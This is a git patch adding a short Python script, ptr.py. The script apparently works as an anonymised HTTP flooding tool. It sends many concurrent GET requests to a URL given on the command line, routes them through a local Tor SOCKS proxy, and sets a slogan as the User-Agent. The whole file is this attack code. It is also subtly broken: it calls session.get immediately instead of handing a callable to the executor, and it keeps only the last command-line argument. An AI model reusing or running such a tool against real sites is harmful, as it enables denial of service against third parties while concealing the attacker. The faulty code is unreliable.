From 843bf6d0a3b651d7458d7d1a77f4314f09db1d97 Mon Sep 17 00:00:00 2001 From: Elektroll Date: Sun, 7 Jun 2020 00:32:39 +0200 Subject: [PATCH] =?UTF-8?q?'ptr.py'=20hinzuf=C3=BCgen?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ptr.py | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 ptr.py diff --git a/ptr.py b/ptr.py new file mode 100644 index 0000000..89ac506 --- /dev/null +++ b/ptr.py @@ -0,0 +1,35 @@ +import asyncio +import concurrent.futures +import requests +import sys + +session = requests.session() +session.proxies = {} + +session.proxies['http'] = 'socks5h://localhost:9050' +session.proxies['https'] = 'socks5h://localhost:9050' + +for f in sys.argv: + url = (f) + +headers = {} +headers['User-agent'] = "Black Lives Matter" + +async def main(): + + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + + loop = asyncio.get_event_loop() + futures = [ + loop.run_in_executor( + executor, + session.get(url, headers=headers) + ) + for i in range(10) + ] + for response in await asyncio.gather(*futures): + pass + + +loop = asyncio.get_event_loop() +loop.run_until_complete(main()) \ No newline at end of file